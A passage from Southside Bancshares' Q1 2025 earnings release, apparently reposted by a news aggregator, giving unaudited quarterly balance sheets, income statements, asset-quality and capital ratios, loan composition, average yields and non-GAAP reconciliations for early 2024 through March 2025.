business activities, including decreased deposits and reduced loan originations, and our ability to manage liquidity in a rapidly changing and unpredictable market.

Additional information concerning the Company and its business, including additional factors that could materially affect the Company’s financial results, is included in the Company’s Annual Report on Form 10-K for the year ended December 31, 2024, under “Part I – Item 1. Forward Looking Information” and “Part I – Item 1A. Risk Factors” and in the Company’s other filings with the Securities and Exchange Commission. The Company disclaims any obligation to update any factors or to announce publicly the result of revisions to any of the forward-looking statements included herein to reflect future events or developments.


Southside Bancshares, Inc. Consolidated Financial Summary (Unaudited) (Dollars in thousands)

	As of
		2025			2024
	Mar 31,			Dec 31,			Sep 30,			Jun 30,			Mar 31,
ASSETS
Cash and due from banks	$	103,359		$	91,409		$	130,147		$	114,283		$	96,744
Interest earning deposits		293,364			281,945			333,825			272,469			307,257
Federal funds sold		34,248			52,807			22,325			65,244			65,372
Securities available for sale, at estimated fair value		1,457,939			1,533,894			1,408,437			1,405,944			1,405,221
Securities held to maturity, at net carrying value		1,278,330			1,279,234			1,288,403			1,305,975			1,306,898
Total securities		2,736,269			2,813,128			2,696,840			2,711,919			2,712,119
Federal Home Loan Bank stock, at cost		34,208			33,818			40,291			32,991			27,958
Loans held for sale		903			1,946			768			1,352			756
Loans		4,567,239			4,661,597			4,578,048			4,589,365			4,577,368
Less: Allowance for loan losses		(44,623	)		(44,884	)		(44,276	)		(42,407	)		(43,557	)
Net loans		4,522,616			4,616,713			4,533,772			4,546,958			4,533,811
Premises & equipment, net		142,245			141,648			138,811			138,489			139,491
Goodwill		201,116			201,116			201,116			201,116			201,116
Other intangible assets, net		1,531			1,754			2,003			2,281			2,588
Bank owned life insurance		137,962			138,313			137,489			136,903			136,604
Other assets		135,479			142,851			124,876			133,697			130,047
Total assets	$	8,343,300		$	8,517,448		$	8,362,263		$	8,357,702		$	8,353,863

LIABILITIES AND SHAREHOLDERS’ EQUITY
Noninterest bearing deposits	$	1,379,641		$	1,357,152		$	1,377,022		$	1,366,924		$	1,358,827
Interest bearing deposits		5,211,210			5,297,096			5,058,680			5,129,008			5,186,933
Total deposits		6,590,851			6,654,248			6,435,702			6,495,932			6,545,760
Other borrowings and Federal Home Loan Bank borrowings		691,417			808,352			865,856			763,700			770,151
Subordinated notes, net of unamortized debt issuance costs		92,078			92,042			92,006			91,970			93,913
Trust preferred subordinated debentures, net of unamortized debt issuance costs		60,276			60,274			60,273			60,272			60,271
Other liabilities		92,055			90,590			103,172			144,858			95,846
Total liabilities		7,526,677			7,705,506			7,557,009			7,556,732			7,565,941
Shareholders’ equity		816,623			811,942			805,254			800,970			787,922
Total liabilities and shareholders’ equity	$	8,343,300		$	8,517,448		$	8,362,263		$	8,357,702		$	8,353,863


Southside Bancshares, Inc. Consolidated Financial Highlights (Unaudited) (Dollars and shares in thousands, except per share data)

	Three Months Ended
		2025			2024
	Mar 31,			Dec 31,			Sep 30,			Jun 30,			Mar 31,
Income Statement:
Total interest and dividend income	$	100,288		$	101,689		$	105,703		$	104,186		$	102,758
Total interest expense		46,436			47,982			50,239			50,578			49,410
Net interest income		53,852			53,707			55,464			53,608			53,348
Provision for (reversal of) credit losses		758			1,384			2,389			(485	)		58
Net interest income after provision for (reversal of) credit losses		53,094			52,323			53,075			54,093			53,290
Noninterest income
Deposit services		5,829			6,084			6,199			6,157			5,985
Net gain (loss) on sale of securities available for sale		(554	)		—			(1,929	)		(563	)		(18	)
Gain (loss) on sale of loans		55			138			115			220			(436	)
Trust fees		1,765			1,773			1,628			1,456			1,336
Bank owned life insurance		799			848			857			1,767			784
Brokerage services		1,120			1,054			1,068			1,081			1,014
Other		1,209			2,384			233			1,439			1,059
Total noninterest income		10,223			12,281			8,171			11,557			9,724
Noninterest expense
Salaries and employee benefits		22,382			22,960			22,233			21,984			23,113
Net occupancy		3,404			3,629			3,613			3,750			3,362
Advertising, travel & entertainment		924			884			734			795			950
ATM expense		378			378			412			368			325
Professional fees		1,520			1,645			1,206			1,075			1,154
Software and data processing		2,839			2,931			2,951			2,860			2,856
Communications		383			320			423			410			449
FDIC insurance		947			931			939			977			943
Amortization of intangibles		223			249			278			307			337
Other		4,089			4,232			3,543			3,239			3,392
Total noninterest expense		37,089			38,159			36,332			35,765			36,881
Income before income tax expense		26,228			26,445			24,914			29,885			26,133
Income tax expense		4,721			4,659			4,390			5,212			4,622
Net income	$	21,507		$	21,786		$	20,524		$	24,673		$	21,511

Common Share Data:
Weighted-average basic shares outstanding		30,390			30,343			30,286			30,280			30,262
Weighted-average diluted shares outstanding		30,483			30,459			30,370			30,312			30,305
Common shares outstanding end of period		30,410			30,379			30,308			30,261			30,284
Earnings per common share
Basic	$	0.71		$	0.72		$	0.68		$	0.81		$	0.71
Diluted		0.71			0.71			0.68			0.81			0.71
Book value per common share		26.85			26.73			26.57			26.47			26.02
Tangible book value per common share		20.19			20.05			19.87			19.75			19.29
Cash dividends paid per common share		0.36			0.36			0.36			0.36			0.36

Selected Performance Ratios:
Return on average assets		1.03	%		1.03	%		0.98	%		1.19	%		1.03	%
Return on average shareholders’ equity		10.57			10.54			10.13			12.46			11.02
Return on average tangible common equity ⁽¹⁾		14.14			14.12			13.69			16.90			15.07
Average yield on earning assets (FTE) ⁽¹⁾		5.23			5.24			5.51			5.45			5.38
Average rate on interest bearing liabilities		3.03			3.12			3.28			3.32			3.22
Net interest margin (FTE) ⁽¹⁾		2.86			2.83			2.95			2.87			2.86
Net interest spread (FTE) ⁽¹⁾		2.20			2.12			2.23			2.13			2.16
Average earning assets to average interest bearing liabilities		128.10			129.55			128.51			128.62			127.71
Noninterest expense to average total assets		1.78			1.80			1.73			1.72			1.77
Efficiency ratio (FTE) ⁽¹⁾		55.04			54.00			51.90			52.71			55.54

(1)	Refer to “Non-GAAP Reconciliation” at the end of the financial statement tables in this Earnings Release for a reconciliation of this non-GAAP financial measure to the nearest GAAP financial measure.


Southside Bancshares, Inc. Consolidated Financial Highlights (Unaudited) (Dollars in thousands)

	Three Months Ended
		2025			2024
	Mar 31,			Dec 31,			Sep 30,			Jun 30,			Mar 31,
Nonperforming Assets:	$	32,193		$	3,589		$	7,656		$	6,918		$	7,979
Nonaccrual loans		4,254			3,185			7,254			6,110			7,709
Accruing loans past due more than 90 days		—			—			—			—			—
Restructured loans		27,505			2			—			145			151
Other real estate owned		388			388			388			648			119
Repossessed assets		46			14			14			15			—

Asset Quality Ratios:
Ratio of nonaccruing loans to:
Total loans		0.09	%		0.07	%		0.16	%		0.13	%		0.17	%
Ratio of nonperforming assets to:
Total assets		0.39			0.04			0.09			0.08			0.10
Total loans		0.70			0.08			0.17			0.15			0.17
Total loans and OREO		0.70			0.08			0.17			0.15			0.17
Ratio of allowance for loan losses to:
Nonaccruing loans		1,048.97			1,409.23			610.37			694.06			565.01
Nonperforming assets		138.61			1,250.60			578.32			613.00			545.90
Total loans		0.98			0.96			0.97			0.92			0.95
Net charge-offs (recoveries) to average loans outstanding		0.03			0.08			0.04			0.02			0.03

Capital Ratios:
Shareholders’ equity to total assets		9.79			9.53			9.63			9.58			9.43
Common equity tier 1 capital		13.44			13.04			13.07			12.72			12.43
Tier 1 risk-based capital		14.49			14.07			14.12			13.76			13.47
Total risk-based capital		17.01			16.49			16.59			16.16			15.92
Tier 1 leverage capital		9.73			9.67			9.61			9.40			9.22
Period end tangible equity to period end tangible assets ⁽¹⁾		7.54			7.33			7.38			7.33			7.17
Average shareholders’ equity to average total assets		9.75			9.76			9.67			9.52			9.35

(1)	Refer to the “Non-GAAP Reconciliation” at the end of the financial statement tables in this Earnings Release for a reconciliation of this non-GAAP financial measure to the nearest GAAP financial measure.


Southside Bancshares, Inc. Consolidated Financial Highlights (Unaudited) (Dollars in thousands)

	Three Months Ended
		2025			2024
Loan Portfolio Composition	Mar 31,			Dec 31,			Sep 30,			Jun 30,			Mar 31,
Real Estate Loans:
Construction	$	458,101		$	537,827		$	585,817		$	546,040		$	599,464
1-4 Family Residential		741,432			740,396			755,406			738,037			720,508
Commercial		2,577,229			2,579,735			2,422,612			2,472,771			2,413,345
Commercial Loans		371,643			363,167			358,854			359,807			358,053
Municipal Loans		371,271			390,968			402,041			416,986			427,225
Loans to Individuals		47,563			49,504			53,318			55,724			58,773
Total Loans	$	4,567,239		$	4,661,597		$	4,578,048		$	4,589,365		$	4,577,368

Summary of Changes in Allowances:
Allowance for Securities Held to Maturity
Balance at beginning of period	$	—		$	—		$	—		$	—		$	—
Provision for (reversal of) securities held to maturity		64			—			—			—			—
Balance at end of period	$	64		$	—		$	—		$	—		$	—

Allowance for Loan Losses
Balance at beginning of period	$	44,884		$	44,276		$	42,407		$	43,557		$	42,674
Loans charged-off		(613	)		(1,232	)		(773	)		(721	)		(634	)
Recoveries of loans charged-off		310			277			365			444			347
Net loans (charged-off) recovered		(303	)		(955	)		(408	)		(277	)		(287	)
Provision for (reversal of) loan losses		42			1,563			2,277			(873	)		1,170
Balance at end of period	$	44,623		$	44,884		$	44,276		$	42,407		$	43,557

Allowance for Off-Balance-Sheet Credit Exposures
Balance at beginning of period	$	3,141		$	3,320		$	3,208		$	2,820		$	3,932
Provision for (reversal of) off-balance-sheet credit exposures		652			(179	)		112			388			(1,112	)
Balance at end of period	$	3,793		$	3,141		$	3,320		$	3,208		$	2,820
Total Allowance for Credit Losses	$	48,480		$	48,025		$	47,596		$	45,615		$	46,377

The tables that follow show average earning assets and interest bearing liabilities together with the average yield on the earning assets and the average rate of the interest bearing liabilities for the periods presented. The interest and related yields presented are on a fully taxable-equivalent basis and are therefore non-GAAP measures. See “Non-GAAP Financial Measures” and “Non-GAAP Reconciliation” for more information.


Southside Bancshares, Inc. Average Balances and Average Yields and Rates (Annualized) (Unaudited) (Dollars in thousands)

	Three Months Ended
	March 31, 2025							December 31, 2024
	Average Balance			Interest		Average Yield/Rate ⁽³⁾		Average Balance			Interest		Average Yield/Rate ⁽³⁾
ASSETS
Loans ⁽¹⁾	$	4,625,902		$	68,160	5.98	%	$	4,604,175		$	70,155	6.06	%
Loans held for sale		752			11	5.93	%		1,562			23	5.86	%
Securities:
Taxable investment securities ⁽²⁾		749,155			6,363	3.44	%		784,321			6,949	3.52	%
Tax-exempt investment securities ⁽²⁾		1,134,590			10,253	3.66	%		1,138,271			10,793	3.77	%
Mortgage-backed and related securities ⁽²⁾		1,041,038			13,523	5.27	%		1,031,187			12,043	4.65	%
Total securities		2,924,783			30,139	4.18	%		2,953,779			29,785	4.01	%
Federal Home Loan Bank stock, at cost, and equity investments		43,285			483	4.53	%		37,078			591	6.34	%
Interest earning deposits		319,889			3,370	4.27	%		273,656			3,160	4.59	%
Federal funds sold		43,813			478	4.42	%		43,121			508	4.69	%
Total earning assets		7,958,424			102,641	5.23	%		7,913,371			104,222	5.24	%
Cash and due from banks		89,703							102,914
Accrued interest and other assets		457,948							454,387
Less: Allowance for loan losses		(45,105	)						(44,418	)
Total assets	$	8,460,970						$	8,426,254
LIABILITIES AND SHAREHOLDERS’ EQUITY
Savings accounts	$	593,953			1,429	0.98	%	$	594,196			1,456	0.97	%
Certificates of deposit		1,336,815			14,406	4.37	%		1,187,800			13,537	4.53	%
Interest bearing demand accounts		3,406,342			21,412	2.55	%		3,459,122			23,468	2.70	%
Total interest bearing deposits		5,337,110			37,247	2.83	%		5,241,118			38,461	2.92	%
Federal Home Loan Bank borrowings		614,897			5,837	3.85	%		572,993			5,557	3.86	%
Subordinated notes, net of unamortized debt issuance costs		92,060			932	4.11	%		92,024			945	4.09	%
Trust preferred subordinated debentures, net of unamortized debt issuance costs		60,275			1,014	6.82	%		60,274			1,095	7.23	%
Repurchase agreements		75,291			666	3.59	%		80,891			782	3.85	%
Other borrowings		33,061			740	9.08	%		61,196			1,142	7.42	%
Total interest bearing liabilities		6,212,694			46,436	3.03	%		6,108,496			47,982	3.12	%
Noninterest bearing deposits		1,334,933							1,383,204
Accrued expenses and other liabilities		88,450							112,320
Total liabilities		7,636,077							7,604,020
Shareholders’ equity		824,893							822,234
Total liabilities and shareholders’ equity	$	8,460,970						$	8,426,254
Net interest income (FTE)				$	56,205						$	56,240
Net interest margin (FTE)						2.86	%						2.83	%
Net interest spread (FTE)						2.20	%						2.12	%

(1)	Interest on loans includes net fees on loans that are not material in amount.
(2)	For the purpose of calculating the average yield, the average balance of securities do not include unrealized gains and losses on AFS securities.
(3)	Yield/rate includes the impact of applicable derivatives.

Note: As of March 31, 2025 and December 31, 2024, loans totaling $4.3 million and $3.2 million, respectively, were on nonaccrual status. Our policy is to reverse previously accrued but unpaid interest on nonaccrual loans; thereafter, interest income is recorded to the extent received when appropriate.


Southside Bancshares, Inc. Average Balances and Average Yields and Rates (Annualized) (Unaudited) (Dollars in thousands)

	Three Months Ended
	September 30, 2024							June 30, 2024
	Average Balance			Interest		Average Yield/Rate ⁽³⁾		Average Balance			Interest		Average Yield/Rate ⁽³⁾
ASSETS
Loans ⁽¹⁾	$	4,613,028		$	72,493	6.25	%	$	4,595,980		$	70,293	6.15	%
Loans held for sale		871			11	5.02	%		1,489			24	6.48	%
Securities:
Taxable investment securities ⁽²⁾		791,914			7,150	3.59	%		783,856			7,009	3.60	%
Tax-exempt investment securities ⁽²⁾		1,174,445			11,825	4.01	%		1,254,097			12,761	4.09	%
Mortgage-backed and related securities ⁽²⁾		886,325			11,976	5.38	%		830,504			11,084	5.37	%
Total securities		2,852,684			30,951	4.32	%		2,868,457			30,854	4.33	%
Federal Home Loan Bank stock, at cost, and equity investments		41,159			582	5.63	%		40,467			573	5.69	%
Interest earning deposits		281,313			3,798	5.37	%		300,047			4,105	5.50	%
Federal funds sold		33,971			488	5.71	%		75,479			1,021	5.44	%
Total earning assets		7,823,026			108,323	5.51	%		7,881,919			106,870	5.45	%
Cash and due from banks		100,578							110,102
Accrued interest and other assets		455,091							424,323
Less: Allowance for loan losses		(42,581	)						(43,738	)
Total assets	$	8,336,114						$	8,372,606
LIABILITIES AND SHAREHOLDERS’ EQUITY
Savings accounts	$	598,116			1,490	0.99	%	$	604,753			1,454	0.97	%
Certificates of deposit		1,087,613			12,647	4.63	%		1,020,099			11,630	4.59	%
Interest bearing demand accounts		3,409,911			24,395	2.85	%		3,513,068			25,382	2.91	%
Total interest bearing deposits		5,095,640			38,532	3.01	%		5,137,920			38,466	3.01	%
Federal Home Loan Bank borrowings		618,708			6,488	4.17	%		606,851			6,455	4.28	%
Subordinated notes, net of unamortized debt issuance costs		91,988			937	4.05	%		92,017			936	4.09	%
Trust preferred subordinated debentures, net of unamortized debt issuance costs		60,273			1,180	7.79	%		60,271			1,171	7.81	%
Repurchase agreements		83,297			899	4.29	%		88,007			955	4.36	%
Other borrowings		137,482			2,203	6.37	%		143,169			2,595	7.29	%
Total interest bearing liabilities		6,087,388			50,239	3.28	%		6,128,235			50,578	3.32	%
Noninterest bearing deposits		1,344,165							1,346,274
Accrued expenses and other liabilities		98,331							101,399
Total liabilities		7,529,884							7,575,908
Shareholders’ equity		806,230							796,698
Total liabilities and shareholders’ equity	$	8,336,114						$	8,372,606
Net interest income (FTE)				$	58,084						$	56,292
Net interest margin (FTE)						2.95	%						2.87	%
Net interest spread (FTE)						2.23	%						2.13	%

(1)	Interest on loans includes net fees on loans that are not material in amount.
(2)	For the purpose of calculating the average yield, the average balance of securities do not include unrealized gains and losses on AFS securities.
(3)	Yield/rate includes the impact of applicable derivatives.

Note: As of September 30, 2024 and June 30, 2024, loans totaling $7.3 million and $6.1 million, respectively, were on nonaccrual status. Our policy is to reverse previously accrued but unpaid interest on nonaccrual loans; thereafter, interest income is recorded to the extent received when appropriate.


Southside Bancshares, Inc. Average Balances and Average Yields and Rates (Annualized) (Unaudited) (Dollars in thousands)

	Three Months Ended
	March 31, 2024
	Average Balance			Interest		Average Yield/Rate ⁽³⁾
ASSETS
Loans ⁽¹⁾	$	4,559,602		$	68,849	6.07	%
Loans held for sale		8,834			18	0.82	%
Securities:
Taxable investment securities ⁽²⁾		780,423			6,967	3.59	%
Tax-exempt investment securities ⁽²⁾		1,285,922			13,168	4.12	%
Mortgage-backed and related securities ⁽²⁾		764,713			10,119	5.32	%
Total securities		2,831,058			30,254	4.30	%
Federal Home Loan Bank stock, at cost, and equity investments		40,063			333	3.34	%
Interest earning deposits		380,181			5,202	5.50	%
Federal funds sold		62,599			838	5.38	%
Total earning assets		7,882,337			105,494	5.38	%
Cash and due from banks		114,379
Accrued interest and other assets		441,783
Less: Allowance for loan losses		(42,973	)
Total assets	$	8,395,526
LIABILITIES AND SHAREHOLDERS’ EQUITY
Savings accounts	$	604,529			1,424	0.95	%
Certificates of deposit		941,947			10,341	4.42	%
Interest bearing demand accounts		3,634,936			26,433	2.92	%
Total interest bearing deposits		5,181,412			38,198	2.97	%
Federal Home Loan Bank borrowings		607,033			5,950	3.94	%
Subordinated notes, net of unamortized debt issuance costs		93,895			956	4.10	%
Trust preferred subordinated debentures, net of unamortized debt issuance costs		60,270			1,175	7.84	%
Repurchase agreements		92,177			967	4.22	%
Other borrowings		137,287			2,164	6.34	%
Total interest bearing liabilities		6,172,074			49,410	3.22	%
Noninterest bearing deposits		1,338,384
Accrued expenses and other liabilities		100,014
Total liabilities		7,610,472
Shareholders’ equity		785,054
Total liabilities and shareholders’ equity	$	8,395,526
Net interest income (FTE)				$	56,084
Net interest margin (FTE)						2.86	%
Net interest spread (FTE)						2.16	%

(1)	Interest on loans includes net fees on loans that are not material in amount.
(2)	For the purpose of calculating the average yield, the average balance of securities do not include unrealized gains and losses on AFS securities.
(3)	Yield/rate includes the impact of applicable derivatives.

Note: As of March 31, 2024, loans totaling $7.7 million were on nonaccrual status. Our policy is to reverse previously accrued but unpaid interest on nonaccrual loans; thereafter, interest income is recorded to the extent received when appropriate.

The following tables set forth the reconciliation of return on average common equity to return on average tangible common equity, book value per share to tangible book value per share, net interest income to net interest income adjusted to a fully taxable-equivalent basis assuming a 21% marginal tax rate for interest earned on tax-exempt assets such as municipal loans and investment securities, along with the calculation of total revenue, adjusted noninterest expense, efficiency ratio (FTE), net interest margin (FTE) and net interest spread (FTE) for the applicable periods presented.


Southside Bancshares, Inc. Non-GAAP Reconciliation (Unaudited) (Dollars and shares in thousands, except per share data)

	Three Months Ended
		2025			2024
	Mar 31,			Dec 31,			Sep 30,			Jun 30,			Mar 31,
Reconciliation of return on average common equity to return on average tangible common equity:
Net income	$	21,507		$	21,786		$	20,524		$	24,673		$	21,511
After-tax amortization expense		176			196			220			243			266
Adjusted net income available to common shareholders	$	21,683		$	21,982		$	20,744		$	24,916		$	21,777

Average shareholders’ equity	$	824,893		$	822,234		$	806,230		$	796,698		$	785,054
Less: Average intangibles for the period		(202,784	)		(203,020	)		(203,288	)		(203,581	)		(203,910	)
Average tangible shareholders’ equity	$	622,109		$	619,214		$	602,942		$	593,117		$	581,144

Return on average tangible common equity		14.14	%		14.12	%		13.69	%		16.90	%		15.07	%

Reconciliation of book value per share to tangible book value per share:
Common equity at end of period	$	816,623		$	811,942		$	805,254		$	800,970		$	787,922
Less: Intangible assets at end of period		(202,647	)		(202,870	)		(203,119	)		(203,397	)		(203,704	)
Tangible common shareholders’ equity at end of period	$	613,976		$	609,072		$	602,135		$	597,573		$	584,218

Total assets at end of period	$	8,343,300		$	8,517,448		$	8,362,263		$	8,357,702		$	8,353,863
Less: Intangible assets at end of period		(202,647	)		(202,870	)		(203,119	)		(203,397	)		(203,704	)
Tangible assets at end of period	$	8,140,653		$	8,314,578		$	8,159,144		$	8,154,305		$	8,150,159

Period end tangible equity to period end tangible assets		7.54	%		7.33	%		7.38	%		7.33	%		7.17	%

Common shares outstanding end of period		30,410			30,379			30,308			30,261			30,284
Tangible book value per common share	$	20.19		$	20.05		$	19.87		$	19.75		$	19.29

Reconciliation of efficiency ratio to efficiency ratio (FTE), net interest margin to net interest margin (FTE) and net interest spread to net interest spread (FTE):
Net interest income (GAAP)	$	53,852		$	53,707		$	55,464		$	53,608		$	53,348
Tax-equivalent adjustments:
Loans		581			598			608			633			656
Tax-exempt investment securities		1,772			1,935			2,012			2,051			2,080
Net interest income (FTE) ⁽¹⁾		56,205			56,240			58,084			56,292			56,084
Noninterest income		10,223			12,281			8,171			11,557			9,724
Nonrecurring income ⁽²⁾		554			(25	)		2,797			(576	)		18
Total revenue	$	66,982		$	68,496		$	69,052		$	67,273		$	65,826

Noninterest expense	$	37,089		$	38,159		$	36,332		$	35,765		$	36,881
Pre-tax amortization expense		(223	)		(249	)		(278	)		(307	)		(337	)
Nonrecurring expense ⁽³⁾		(1	)		(919	)		(219	)		2			17
Adjusted noninterest expense	$	36,865		$	36,991		$	35,835		$	35,460		$	36,561

Efficiency ratio		57.04	%		56.08	%		53.94	%		54.90	%		57.95	%
Efficiency ratio (FTE) ⁽¹⁾		55.04	%		54.00	%		51.90	%		52.71	%		55.54	%

Average earning assets	$	7,958,424		$	7,913,371		$	7,823,026		$	7,881,919		$	7,882,337

Net interest margin		2.74	%		2.70	%		2.82	%		2.74	%		2.72	%
Net interest margin (FTE) ⁽¹⁾		2.86	%		2.83	%		2.95	%		2.87	%		2.86	%

Net interest spread		2.08	%		1.99	%		2.10	%		2.00	%		2.02	%
Net interest spread (FTE) ⁽¹⁾		2.20	%		2.12	%		2.23	%		2.13	%		2.16	%

(1)	These amounts are presented on a fully taxable-equivalent basis and are non-GAAP measures.
(2)	These adjustments may include net gain or loss on sale of securities available for sale, BOLI income related to death benefits realized and other investment income or loss in the periods where applicable.
(3)	These adjustments may include foreclosure expenses and branch closure expenses, in the periods where applicable.

The MIL Network –

April 29, 2025

Category: Banking

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